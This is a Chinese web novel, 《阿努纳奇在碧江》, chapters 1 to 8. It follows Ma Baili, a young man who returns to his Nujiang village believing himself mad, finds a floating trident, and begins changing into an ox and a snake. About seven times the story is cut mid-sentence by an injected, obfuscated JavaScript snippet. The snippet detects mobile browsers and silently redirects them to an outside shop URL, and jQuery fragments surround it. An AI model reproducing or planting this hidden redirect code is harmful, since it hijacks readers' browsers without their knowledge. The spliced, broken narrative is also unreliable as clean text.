《阿努纳奇在碧江》
1. 第 1 章
近些年来,有许多青年为了理想回到家乡。
马百里也从大城市回来了。不过他回来的原因不太一样——他得了神经病。
准确地说,是医生说的。医生说他是“妄想型精神分裂症伴随幻听”,建议住院治疗。马百里当时坐在诊室里,看着对面那个头发稀疏的中年男人一脸严肃地在本子上写字,心想:你才妄想,你全家都妄想。
但他没说出来。因为他刚在网上查过——所有神经病都不信自己有病。如果他反驳,正好证明他有病。
所以他配合地点点头:“好的医生,我吃药,我治疗。”
医生很满意,给他开了半个月的药,叮嘱他定期复诊。
马百里走出医院,站在门口把处方单看了三遍,然后折好放进兜里,打车回了出租屋。他躺在床上盯着天花板,想了很久。
那个声音又响起来了。
“百里,百里,外面的世界很危险。”
是一只鸟。准确地说,是窗外梧桐树上的一只麻雀。马百里不知道自己什么时候能听懂动物说话的——可能是半年前,也可能是更早。一开始他以为是幻听,后来发现不是,因为他能根据鸟叫判断出它们在聊什么。比如现在这只麻雀,正在跟另一只麻雀讨论天气预报。
但问题是,正常人不能听懂麻雀说话。所以这只能是病。
马百里想了一个下午,做了一个决定:回家。
他给家里打了个电话:“妈,我想回来了。”
电话那头沉默了三秒:“咋了?城里混不下去了?”
“不是,就是想家了。”他说,“我现在觉悟特别高,我读书不是为了摆脱贫困的家乡,而是让家乡不再贫困。”
“说人话。”
“我想回来创业。”
“创什么业?”
马百里还没想好:“……特色产业。”
他妈在电话那头叹了口气:“你是不是欠钱了?”
“没有。”
“欠了多少?”
“真没有!”
“行吧,回来再说。”他妈挂了电话。
马百里放下手机,看着窗外那只还在聊天的麻雀。麻雀突然转过头,隔着玻璃看了他一眼。
“你能听见我说话?”麻雀问。
马百里没回答。
“这人有点意思。”麻雀对同伴说。
马百里起身,拉上了窗帘。
三天后,他坐上了回家的绿皮火车。药带了一包,一片都没吃。
________________________________________
马百里家的村子叫石月亮村,在怒江州福贡县,因为村后山上有个天然形成的石洞,远远看去像一轮悬在半空的月亮。傈僳族人说,那是祖先用弓弩射出来的——当年洪水泛滥,英雄一箭射穿山峰,救了百姓。
马百里小时候听这个故事听得耳朵起茧。他那时候觉得祖先真厉害,现在想想,用箭射穿一座山?不如直接说那是外星人炸的。
但他没跟任何人说过这个想法。说了就是神经病。
到家那天是傍晚,夕阳把石月亮照成金色。他妈站在院门口,看见他下车,第一句话是:“瘦了。”
马百里放下行李,准备拥抱她,他妈已经转身进屋了:“饭在锅里,自己盛。”
他爸坐在堂屋里看电视,见了他,点点头:“回来了?”
“嗯。”
“城里不好混?”
“还行。”
“那你回来干啥?”
马百里深吸一口气,把酝酿了一路的台词背出来:“爸,我想明白了,我读书不是为了——”
“行了行了,”他爸摆摆手,“吃饭。”
第一关,失败。
晚饭后,他妈开始盘问。马百里把“回乡创业”的说法又端出来,这次背得更完整,连“乡村振兴”“青年返乡”“新农人”这些词都用上了。
他妈听完,盯着他看了十秒钟。
“你是不是有什么事儿瞒着我?”
“没有。”
“没欠钱?”
“没有。”
“没搞大人家姑娘肚子?”
“妈!”
“那你回来干啥?”他妈说,“咱们村出去的大学生,十个有九个不回来,剩下那个是考不上公务员被迫回来的。你考上了吗?”
马百里沉默了。他确实考了,没考上。
“那就是了。”他妈一副果然如此的表情,“考不上就考不上,说什么创业。创什么业?养鸡还是养猪?”
“……可能是养牛。”马百里随口一说。
他妈眼睛亮了:“养牛可以。你二舅家去年养了五头,今年翻了三番。”
马百里有点懵。
“行,明天我带你去找你二舅,问问行情。”他妈打了个哈欠,起身回屋,“早点睡。”
马百里坐在堂屋里,听着他妈脚步走远,忽然有一种荒诞的感觉——他用“精神病”的借口回家,结果家里人不关心他有没有病,只关心他考没考上、创不创业。
窗外有只猫叫了一声。
“这人脑子有问题。”猫说。
“你看出来了?”另一只猫问。
“他走路姿势不对。”
马百里起身关了窗。
________________________________________
第二天一早,他妈真带他去找二舅了。
二舅家在隔壁村,养了十几头牛,是村里的致富带头人。马百里跟着他妈走了四十分钟山路,一路上他妈不停念叨:“你二舅这人厉害,前年还上了县里的光荣榜,你要跟他多学学。”
马百里嗯嗯啊啊地应付着,脑子里却在想另一件事——那江花。
那江花是他发小,从小一起长大,一起读书,一起考大学。不同的是,那江花考上了公务员,回来当了三道沟村的驻村书记。三道沟村是他们镇最偏远落后的一个村子,直接到村的公路都没有,得翻两座山。
马百里昨晚刷朋友圈,看见那江花发了一条动态:她站在一片玉米地里,晒得黢黑,笑得一脸灿烂,配文是“扎根基层的第300天,累并快乐着”。
评论区一片点赞。马百里也点了,然后默默翻了个白眼。
他和那江花是两种人。她是那种真正高尚的人——从小就想当官,想为人民服务,想改变家乡。马百里小时候问她:“你想当什么官?”她说:“村支书。”那时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375012|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她才十岁。
马百里那时候想当宇航员。
后来他没当成宇航员,也没考上公务员。她当了驻村书记。
这就是差距。
二舅见到他,很热情地握了手,然后开始滔滔不绝地讲养牛经。马百里听着,脑子里却一直在转一个念头——
如果他要演“回乡创业”这个人设,那江花是现成的模板。她在那干了三百天,肯定踩过无数坑,走过无数弯路。要是能从她那取点经,知道真正的创业青年怎么说话、怎么做事,他这人设就能演得更像一点。
毕竟,神经病最怕的不是有病,是演得不像正常人。
从二舅家出来,马百里跟他妈说:“我想去三道沟村看看那江花。”
他妈愣了一下:“那地方远得很,没路,得爬山。”
“我知道,我去过。”
“去找她干啥?”
“取取经。”马百里说,“她比我懂创业。”
他妈看着他的眼神忽然变了。那种眼神他很久没见过了——上一次还是高考前,他说要考清华的时候。
“你认真的?”
“认真的。”
他妈沉默了几秒,然后说:“行。明天一早去,晚上早点回来。”
________________________________________
第二天天刚亮,马百里就出发了。
他妈给他准备了一兜干粮、一壶水、一把砍刀。“山里路不好走,小心点。”
马百里接过砍刀,心想:这玩意要是砍到人,算不算故意伤害?
他没问,背上包出了门。
三道沟村在镇子最北边,翻过两座山才能到。早些年还有条马帮走的道,后来马帮没了,道也荒了,只剩些零零星星的猎人走。马百里小时候跟那江花来过一次,是暑假,走了整整一天。
现在再走,路已经记不太清了。
刚开始还好,有石板路,两边是玉米地和核桃树。走了两个小时,石板路变成土路,土路变成羊肠小道,羊肠小道最后彻底消失在一片灌木丛里。
马百里停下来,看了看四周。
他迷路了。
按理说他不该迷路——他是本地人,小时候在山里跑大的。但十几年没回来,山还是那座山,路已经不是那条路了。
他掏出手机,没信号。
“靠。”
马百里把手机揣回兜里,开始凭着记忆往前走。走了大概二十分钟,他发现不对——周围的树越来越密,坡越来越陡,完全不像是通往三道沟村的方向。
他停下来,深呼吸,告诉自己冷静。
然后他听见了一个声音。
不是鸟叫,不是虫鸣,是一种很低沉的、几乎听不见的嗡嗡声,像是某种机器在运转。那声音很轻,但很奇怪——它不在耳朵里,在脑子里。
马百里愣住了。
这个声音他从来没听过。以前他能听懂动物说话,但那是有声源的。这个没有声源,像是直接从脑子里响起来的。
嗡嗡声持续了几秒,然后消失了。
马百里站在原地等了一会儿,什么都没再发生。他正准备继续走,脚下突然一滑——
整个人往下掉。
2. 第 2 章
马百里掉下去的时候,脑子里只有一个念头:完了。
他不知道自己掉进了什么——可能是猎人挖的陷阱,可能是地质运动形成的裂缝,也可能是山里本来就有的洞。总之,他往下掉了大概三秒,然后“砰”的一声砸在什么东西上。
疼。
浑身都疼。
马百里趴在那喘了半天,才慢慢爬起来。四周一片漆黑,伸手不见五指。他掏出手机,屏幕碎了,但还能亮。借着微弱的光,他看清了周围——
是一条地缝。大概一米多宽,两边是岩石壁,向上看,隐隐约约能看见一丝天光。向下看,不知道还有多深。
马百里试着喊了一嗓子:“有人吗?”
没人应。
他又喊:“救命!”
还是没人。
他靠在岩壁上,深吸一口气。完了,真的完了。
他妈的。
马百里在地上坐了十分钟,把这一辈子的事都想了一遍。然后他站起来——等死不是他的风格。
他打开手机手电筒,开始沿着地缝往前走。
走大概二十米,地缝变宽了,出现一个天然的岩洞。岩洞不大,大概十几平米,四壁光滑,像是被人打磨过。马百里把手电筒照过去,看见洞中央有个东西。
他愣住了。
那是一个石台。石台上插着一根——
三叉戟。
真的是三叉戟。大概一人高,通体银白色,顶端三个叉,在手机光下泛着幽幽的光。马百里眨了眨眼,以为是自己眼花了。他又眨了眨,那东西还在那。
“这他妈……”他喃喃了一句。
他走近两步,仔细看。那三叉戟不是插在石台上,是飘在石台上——离石台大概一寸的距离,悬浮着。戟身上刻着密密麻麻的符号,看不懂,但感觉很古老。
马百里伸出手,想去摸一下。
就在他手指触到戟身的那一刻——
脑子里“轰”的一声炸开。
无数画面涌进来:巨船从天而降,黑色巨人站在山巅,一群穿着奇怪衣服的人围着什么东西跳舞,有人吞下黑色的液体,身体
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375013|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
变成焦炭倒下,一群蛇爬过来,缠在他身上……
画面太快太多,马百里根本反应不过来。他只觉得头疼得要裂开,眼前一黑,栽倒在地。
不知道过了多久,他醒过来。
头疼减轻了,但浑身发烫。他低头一看,发现自己手上有个伤口——两个小洞,像是被什么东西咬的。
蛇。
他想起来了,那些画面里,那群蛇爬过来的时候,有一条蛇回头看了他一眼。
就在他这么想的时候,脚边突然有东西在动。他低头一看——
一条蛇。
黑色的,一米多长,正从岩壁的缝隙里往外爬。
马百里下意识往后退,但那蛇看都没看他一眼,径直爬向石台,绕着三叉戟转了一圈,然后消失在对面的岩缝里。
马百里愣愣地看着那条蛇消失,然后低头看自己的手。那两个小洞还在,周围开始发黑。
他脑子里又响起那个嗡嗡声。这次不是声音,是话——他听得懂。
“摩诃迦罗的血脉,觉醒了。”
3. 第 3 章
马百里不知道自己在那个洞里待了多久。
可能是几个小时,可能是一天。手机早就没电了,时间失去意义。他只知道,那根三叉戟还在那飘着,他手上的伤口还在发黑,而且——
他身体开始不对劲。
先是皮肤发痒,然后是骨头疼,像是有什么东西在体内生长、变化。他蜷缩在岩壁下,闭着眼睛,脑子里翻来覆去都是那些画面。他看见那个黑色巨人——摩诃迦罗——站在山巅,面对一群跪拜的原始人。他看见他吞下那瓶黑色的东西,身体开始变黑。他看见蛇爬过来,吸他身上的毒,然后那些蛇也变黑了。
“你在接受他的血脉。”那个声音又响了。
“谁?”
“摩诃迦罗。你们叫他大黑天。”
马百里睁开眼睛。四周空无一人。
“谁在说话?”
“我是他留下的印记。你可以理解为——人工智能。”
马百里沉默了几秒。然后他问:“我现在是在做梦吗?”
“不是。”
“那我是不是真的疯了?”
“你没有疯。你的血脉觉醒了。你是阿努纳奇的后裔,摩诃迦罗的族人。”
马百里又沉默了几秒。
“能说人话吗?”
那个声音没回答。但马百里脑子里又涌进来一堆信息:阿努纳奇,尼比鲁,十二个天体,基因工程,人类的起源。信息量太大,他根本消化不了。
他只知道一件事:他听得懂动物说话,不是病。他找着的这根三叉戟,是真的。他手上这两个洞,是真的。他身体里的变化,也是真的。
大概又过了一个小时,他终于能站起来了。他扶着岩壁,慢慢走向那条蛇消失的岩缝。岩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375014|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缝后面是一条狭长的通道,不知道通向哪里。
马百里深吸一口气,钻了进去。
通道很窄,只能侧身通过。他走了大概二十分钟,眼前突然一亮——
出口。
他爬出去,看见阳光、树木、还有远处的炊烟。
三道沟村。
他终于到了。
但他没来得及高兴。因为他低头一看,发现自己浑身是泥,衣服破烂,手上还有两个发黑的伤口。这副样子出现在村里,怕不是要被人当成野人。
马百里犹豫了一下,往村子里走。
走了几步,他发现不对劲。
他的身体在变。
皮肤在变硬,手脚在变形,视野在变矮。他想喊,喊出来的不是人声——
“哞——”
一头牛。
他变成了一头牛。
4. 第 4 章
马百里变成牛的时间,大概有十分钟。
那十分钟里他经历了这辈子最荒诞的时刻:他低头看见自己的四条腿,想走两步结果踩到自己差点摔倒,好不容易站稳了,又想试试能不能变回去,结果刚一想——
他又变回来了。
他蹲在草丛里,大口喘气。低头看,手还是手,脚还是脚。他试着动动手指,能动。试着说话,能说。
“这他妈……”他说。
他又试着想了想“变牛”。
没用。
再想。
还是没用。
“难道是随机的?”他嘀咕了一句,决定暂时不管这个。当务之急是进村,找那江花,蹭一顿饭,然后回家。
他站起身,拍拍身上的泥,往村里走。
三道沟村比他想象的小。几十户人家,零零星星地散在山坡上,房子是木楞房,屋顶盖着石片。村里有几个人在田里干活,见他走过来,都抬头看他。
“你是哪个?”一个老头问。
“我找那书记。”马百里说,“那江花。”
老头往村里一指:“那书记在村委会,往前走,第二家就是。”
马百里道了谢,往村里走。走到村委会门口,还没进去,就听见里面有人说话。
“这批牛明天到,得先把牛圈收拾好。”
是那江花的声音。
马百里站在门口,忽然有点紧张。十几年没见,她变成什么样了?
他深吸一口气,推门进去。
那江花正跟几个人围着一张桌子说话,听见门响,转过头来。她看了他一眼,愣了一下,然后笑了。
“马百里?”
“那书记好。”马百里说。
“少来这套。”那江花走过来,上下打量他,“你怎么跑这来了?这没路,你翻山过来的?”
“对,找你取经。”
“取什么经?”
马百里正准备把“创业人设”那套词搬出来,忽然觉得不对劲——他的身体又开始发痒。
完了。
他低头看,手正在变。
“你咋了?”那江花问。
马百里的视野在变矮。他想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375015|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说话,说不出来——“哞——”
他变成了一头牛。
当着那江花的面。
马百里心里只有一个念头:这下完了。
但那江花的反应,完全出乎他的意料。
她愣了一下,然后眼睛亮了。
“牛?!”她喊起来,“哪来的牛?!”
马百里站在那,脑子里一片空白。他想说“是我”,但只能“哞哞”叫。
那江花绕着它转了一圈,越看越高兴:“这牛好啊,壮实!是不是谁家跑出来的?”
旁边一个村干部凑过来:“没见过,不是咱们村的。”
“那正好!”那江花一拍手,“村里正缺耕牛,先拉去干活,谁家丢的回头再来领。”
马百里:“……哞?”
“快快快,牵到田里去!”那江花已经兴奋得不行了,“张叔,你带它去,今天那两亩地刚好要翻!”
马百里被一根绳子套上脖子,被人牵着往外走。他回头看那江花,那江花正站在门口冲他挥手:“好好干活啊!”
马百里想哭。
5. 第 5 章
马百里被牵到田里的时候,太阳已经偏西了。
牵他的人叫张叔,六十多岁,干瘦,但力气很大。他把马百里拴在田边的树上,然后开始套犁。
马百里全程沉默——不是不想说话,是说不了话。他只能“哞”。
张叔把犁套在他身上,拍了拍他的背:“这牛真听话。”
马百里想:我不听话能咋办?我是牛。
张叔扶起犁,喊了一声:“走!”
马百里往前走了一步。
犁扎进土里,翻出一道沟。
张叔又喊:“走!”
马百里又走了一步。
就这样,一头牛,一个老头,一把犁,在夕阳下开始耕田。
马百里一边走一边想:他的人生,怎么会变成这样?
两个小时前,他还是个神经病,从城里回来,想演个创业青年。一个半小时前,他掉进了地缝,找到了一根三叉戟,被蛇咬了一口。一个小时前,他第一次变成牛,吓得半死。现在,他被套上犁,在田里走了一整天,变成了村里的公共财产。
那江花还在村委会门口冲他挥手说“好好干活”。
这世界疯了吧?
他一边走,一边听周围的动静。有人说话,他听得懂——但现在是牛,那些人说的话还是人话。有人说:“这牛真好,一天耕两亩地。”有人说:“那书记运气真好,白捡一头牛。”有人说:“也不知道是谁家的,要是没人来领,就留咱们村了。”
马百里想:我要不要变回来?
变回来的话,那江花看见他光着身子站在田里,会是什么反应?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375016|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>马百里不敢想。
他又走了一步。
突然,他脑子里那个声音又响了。
“你刚才变身的形态,是摩诃迦罗的两种化身:蛇与牛。蛇是智慧和疗愈的象征,牛是力量和创造的象征。你可以在这两种形态之间切换。”
马百里愣了一下。
切换?怎么切换?
“意念。”
他试着想了想“蛇”。
没反应。
再想。
还是没反应。
“需要时间练习。”那个声音说,“你现在只是初步觉醒。”
马百里想:谢谢啊,但你能不能先帮我从这犁上解下来?
声音没回答。
张叔又喊:“走!”
马百里叹了口气,继续往前走。
6. 第 6 章
天快黑的时候,两亩地耕完了。
张叔把他从犁上解下来,牵到牛圈里,拴上绳子,倒了半桶水。
“好好休息。”张叔拍拍他,“明天还有三亩。”
马百里:“哞。”
张叔走了。
马百里趴在牛圈里,看着天上的星星,开始怀疑人生。
他这一辈子,从来没想过会以牛的身份,趴在一个陌生村子的牛圈里,等着明天继续耕田。
他想起早上出门时,他妈说“晚上早点回来”。现在天黑了,他没回去。他妈肯定会担心,可能会报警。警察会找他,找到三道沟村,问那江花有没有见过一个叫马百里的人。那江花会说见过,他来了一下,然后就走了。警察会继续找,但永远找不到——
因为他现在是头牛。
马百里把头埋进草堆里,不想动了。
但他没趴多久,就听见有人来。
脚步声,很轻。然后是那江花的声音。
“这就是下午那牛?”
“对。”张叔的声音,“真听话,耕了两亩地不叫累。”
那江花走到牛圈边,蹲下来看他。
马百里抬起头,和她对视。
月光下,那江花的眼睛亮亮的。她看着它,忽然说:“这牛的眼神,怎么这么像马百里?”
马百里心里一惊。
“马百里?”张叔问,“谁?”
“我一个发小,今天来找我,结果一转眼就不见了。”那江花说,“我找了一圈没找到,打电话也关机。他家在石月亮村,这山这么大,我怕他迷路了。”
马百里想说话,但只能“哞”。
那江花看了他半天,忽然笑了:“你说,他会不会变成牛了?”
张叔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375017|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“那书记,你这话说的。”
那江花站起来,拍拍手:“开玩笑的。明天我组织人上山找找,别真出事了。”
她转身要走,忽然又回过头来,看着它。
“这牛,先留着。”她说,“要是没人来领,以后就是咱们村的公共财产了。”
马百里:“哞。”
那江花走了。
马百里继续趴在牛圈里,看着天上的星星。
他想:我明天还要耕田。
他又想:那江花说我的眼神像我自己。
他还想:这个世界,真的疯掉了。
但他忽然又想起那个声音说的话——“摩诃迦罗的血脉觉醒了”。如果这一切是真的,如果那个声音说的都是真的,那他马百里,可能真的不是什么神经病。
他是神的后裔。
虽然现在被拴在牛圈里。
7. 第 7 章
半夜的时候,马百里醒了一次。
四周很静,只有虫鸣。月亮很亮,把整个村子照成银白色。
他试着站起来,发现拴他的绳子有点松。可能是张叔没拴紧。
他动了动,绳子又松了一点。
他想:如果我现在变成人,是不是就能解开绳子?
他试着想了想“变人”。
没反应。
再想。
还是没反应。
但奇怪的是,他的身体又开始发痒。这次不是变成牛的感觉,而是另一种——更滑,更凉。
他低头看,皮肤正在变黑,长出鳞片。
蛇。
他变成了一条蛇。
绳子从身上滑落,他——它——从牛圈里钻了出去。
外面没人。月光照在地上,它沿着墙根爬行,一直爬到村口。
然后它停下来,看着远处的山影。
石月亮的方向。
他想起那个声音说的——“摩诃迦罗的血脉,觉醒了。”他想起那些画面,那个黑色巨人吞下毒药,救了一群原始人。他想起那条蛇,从岩缝里爬出来,绕了三叉戟一圈。
如果这些都是真的,那他变成牛、变成蛇,都只是开始。
后面还有更多。
马百里在村口趴了很久,直到天边泛起鱼肚白。
然后他想:变回人。
这次成功了。
他站在村口,光着身子,看着远处石月亮渐渐亮起来。晨风吹过,有点冷。
他站了一会儿,忽然笑了。
“疯了。”他说。
但他知道,疯的不是他。
天亮的时候,那江花醒了。
她推开门,准备组织人上山找马百里。刚走到村口,看见一个人蹲在路边,浑身是泥,没穿衣服。
她走近两步,愣住了。
“马百里?!”
那人抬起头,正是她找了一晚上的发小。
“那书记早。”马百里说,声音有点沙哑,“昨晚在山上迷路了,衣服刮没了。”
那江花瞪着他:“你没事吧?!”
“没事。”
“你昨晚在哪睡的?”
马百里想了想:“山洞里。”
那江花松了口气,又瞪他一眼:“吓死我了!我还以为你出事了!赶紧跟我回去,找身衣服穿上!”
她转身要走,忽然想起什么,回头看他。
“对了,我们村昨天捡了一头牛,特别听话。你要不要去看看?”
马百里沉默了一秒。
“不用了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375018|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”他说。
“为什么?”
“我见过。”
他站起来,跟着那江花往村里走。晨光照在他们身上,石月亮在远处闪闪发光。
马百里忽然说:“那江花,你信不信人能变成牛?”
那江花回头看他:“你疯了?”
“没疯。”他说,“我就是问问。”
那江花盯着他看了几秒,然后笑了。
“你脑子一直有点问题。”她说,“从小就这样。”
马百里也笑了。
是啊,脑子有问题。从小到大,人人都这么说。
但他知道,从现在开始,问题不是他的脑子。
问题是这个世界——这个有外星人、有三叉戟、有能变成牛的神后裔的世界——彻底疯掉了。
他低头看了看自己手上那两个发黑的伤口,还在。
是真的。
一切都是真的。
他又抬头看了看远处的石月亮,忽然想起小时候听过的那个传说:洪水泛滥,英雄一箭射穿山峰,救了百姓。
那英雄,可能也不是什么英雄。
可能跟他一样,是个“神经病”。
马百里笑了笑,跟着那江花走进了村子。
村口的牛圈里,那条绳子还在地上。
8. 第 8 章
借马百里衣服的是个叫阿普的年轻人——对,就是后来带他进山找三叉戟那个阿普。不过那时候他们还不熟,他只是刚好在村口撞见一个光着身子的陌生人,愣了一下,然后回屋拿了套衣服出来。
“你的衣服呢?”他问。
“被山吃了。”马百里说。
阿普又愣了一下。他大概在想这人是真傻还是在开玩笑。傈僳族人通常不爱多问,他把衣服递给马百里,指了指村委会的方向:“那书记在那边。”
马百里道了谢,去村里找了个没人的角落把衣服换上。是一套傈僳族传统服饰,白色的麻布衣,黑色的坎肩,腰间还有条宽宽的布带。他对着地上的水洼照了照——有点小帅,就是脸上被树枝划了几道口子,看着像刚跟山神打了一架。
那江花正在村委会门口跟几个人说话,见马百里走过来,眼睛一亮。
“哟,人模狗样的嘛。”她上下打量他,“阿普的衣服?”
“嗯。”
“他人挺好,就是话少。”那江花说,“走吧,带你逛逛村子。”
马百里本来想拒绝——他脑子里现在装着一堆事:地缝里的三叉戟、发黑的伤口、变成牛的十分钟、那条蛇说的话。他需要找个没人的地方好好想想,理清楚这到底是怎么回事。
但那江花已经拽着他往村里走了。
“来来来,我给你介绍一下我们三道沟村。”她兴致勃勃,“咱们村虽然偏,但可是个宝地。你看那边——”
她指着山坡上一片片梯田:“那是去年新种的草果,县里扶持的产业,今年就能收了。你看那边,那是核桃林,野生的,今年结了不少。那边是蜂蜜养殖,独龙族老张家的,他养蜂技术特别好,去年还上了县里的光荣榜……”
马百里“嗯嗯”地应着,脑子里却在想另一件事。
那条蛇说“摩诃迦罗的血脉觉醒了”。摩诃迦罗就是大黑天,大黑天是兰坪本主庙供的神。那江花知不知道这事?她从小在怒江长大,应该听说过这些传说。但她是那种特别务实的人,从小就不信这些——她只信努力、信实干、信为人民服务。
“——然后这边,你看,是白族老李家,他家做扎染的,手艺传了三代。那边是拉玛族的,他们家的漆油鸡特别好吃,回头我带你去尝尝……”
马百里又“嗯”了一声。
其实他在想另一件事:如果那条蛇说的是真的,那他是什么?阿努纳奇的后裔?摩诃迦罗的族人?那他妈是什么?他爸是什么?他们知道吗?
“——马百里?”
他回过神来:“啊?”
“我问你听见没有!”
“听见了听见了。”
那江花狐疑地看他一眼:“我说,你这次回来,到底打算干啥?”
来了。他最怕的问题。
他清了清嗓子,把准备好的台词端出来:“我读书不是为了摆脱贫困的家乡,而是——”
“行了行了。”那江花摆摆手,“说人话。”
马百里噎了一下。
她看着他,忽然笑了:“你从小就这样,一撒谎就背台词。”
他没说话。
她叹了口气,语气软下来:“行了,不说就不说吧。你回来就好。”
马百里愣了一下。
那江花已经继续往前走了,边走边说:“我跟你说,返乡创业这事,没那么简单。你二舅说的那些养牛经,听听就行,别全信。真正要做,得先搞清楚几个问题——”
她开始滔滔不绝地讲起来。什么市场调研、什么产业链、什么政策扶持、什么风险控制。马百里听着一愣一愣的——这才一年多没见,她已经变成半个专家了。
“……所以你要是真想干,第一步不是投钱,是学习。县里有培训班,免费的那种,回头我给你报个名。还有,你得先选好方向,养牛还是种东西,或者搞旅游,咱们这边旅游资源其实挺好的,就是交通不行……”
马百里继续“嗯嗯”地应着。
脑子里那些声音还在打架。三叉戟、蛇、摩诃迦罗、阿努纳奇、变牛、变蛇、神经病、不是神经病——
“——对了,你手机怎么一直关机?”
“没电了。”
“充电器带了吗?”
“带了。”
“那回头充上电,给你妈报个平安。她肯定担心。”
“嗯。”
那江花又看他一眼,这回眼神有点复杂。她大概感觉到他不对劲,但没追问。
他们继续在村里走。她指着这个那个给他介绍,他有一搭没一搭地应着。阳光很好,照在那些木楞房上,照在那些石片屋顶上,照在远处层层叠叠的梯田上。如果不是脑子里那些乱七八糟的事,这应该是个挺好的下午。
走到村尾的时候,那江花突然停下来。
“马百里。”
“嗯?”
“你刚才说你读书不是为了摆脱贫困的家乡,而是让家乡不再贫困。”
马百里有点尴尬:“那个……我就是随口一说。”
“我知道。”她看着他,眼睛亮亮的,“但我想请你帮个忙。”
马百里有种不好的预感。
“什么忙?”
那江花深吸一口气,开始说起来。什么春耕太忙、什么村里年轻人不会整、什么民族团结示范点、什么宣传任务完不成——她说了好长一串,马百里听得有点晕。
“……所以呢?”他问。
“所以你能不能帮我当几天三道沟推介官?”
马百里愣住了。
“啥?”
“推介官。”那江花说,“本来是我自己干的,但我最近实在太忙了,春耕啊,你懂的。偏偏咱们村又是个典型——傈僳族、白族、拉玛族、怒族、独龙族五个民族混居,民族团结这块上面盯得紧,每周都得交材料。村里其他年轻人也不会整那些直播啊视频啊,正好你来了——”
“等等等等。”马百里打断她,“你是说,让我直播?”
“对。”
“直播啥?”
“就说说咱们村的民族文化啊,民俗啊,神话传说啊。”那江花说,“你从小听的那些,应该还记得吧?”
马百里张了张嘴。
记得是记得。石月亮、嘎瓦格布、天神造人、兄妹成婚——小时候奶奶讲过无数遍,耳朵都起茧了。但现在让他讲这些?
“你放心,就混混时长。”那江花拍拍他肩膀,“我这账号没几个活人,关注就几十个,基本都是僵尸粉。你就当练练手,熟悉一下业务,回头你要真创业搞直播,也有经验。”
马百里还在犹豫。
那江花已经拽着他往回走了。
